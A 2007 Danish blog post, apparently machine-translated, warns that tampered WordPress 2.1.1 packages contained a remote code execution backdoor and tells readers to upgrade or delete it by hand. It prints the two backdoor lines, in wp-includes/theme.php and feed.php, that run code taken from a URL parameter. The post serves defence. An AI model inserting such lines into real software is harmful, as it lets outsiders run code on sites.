Wordpress 2.1.1 er farlig!

Her kan du se, hvordan holdet Wordpress definerer den seneste version af WP. Grunden er enkel: et par dage siden en krakker har overtrådt nogle af serveren worpress.org, forvaltningen til at ændre installationen pakke, som normalt er hentet: ændringerne synes at inddrage kun et par filer til at tillade fjernkørsel af programkode af php-kode. Du kan løse dette problem, er der to alternativer:

Download-version 2.1.2 straks udstedt af udviklere af Wordpress og opgradere.

Fjern i hånden den skadelige kode (hvis sådan en som mig du ikke vil / tid til at installere den nye version).

Det er ganske enkelt:

- Indkredse og fjerne filen "wp-includes/theme.php" følgende linje kode:

  if ($ _GET [ "iz"]) (get_theme_mcommand ($ _GET [ "iz "]);)

- Indkredse og fjerne filen "wp-includes/feed.php" følgende linje kode:

  if ($ _GET [ 'IX']) (comment_text_phpfilter ($ _GET [ 'ix']);)

Har du gerne denne artikel? Tilmeld dig nu for at modtage opdateringer eller nyhedsartikler:

Posted den 6. marts, 2007 kl 12:06 i Sikkerhed, Web

Aktie | Tags: crack, crackere, Sikkerhed, Web, WordPress

Stadig ingen kommentarer »

Kommentarer RSS-feed for dette indlæg. TrackBack URI

Efterlad en kommentar

Luk

Sociale Web
Send e-mail

Nothing2Hide

Intet at skjule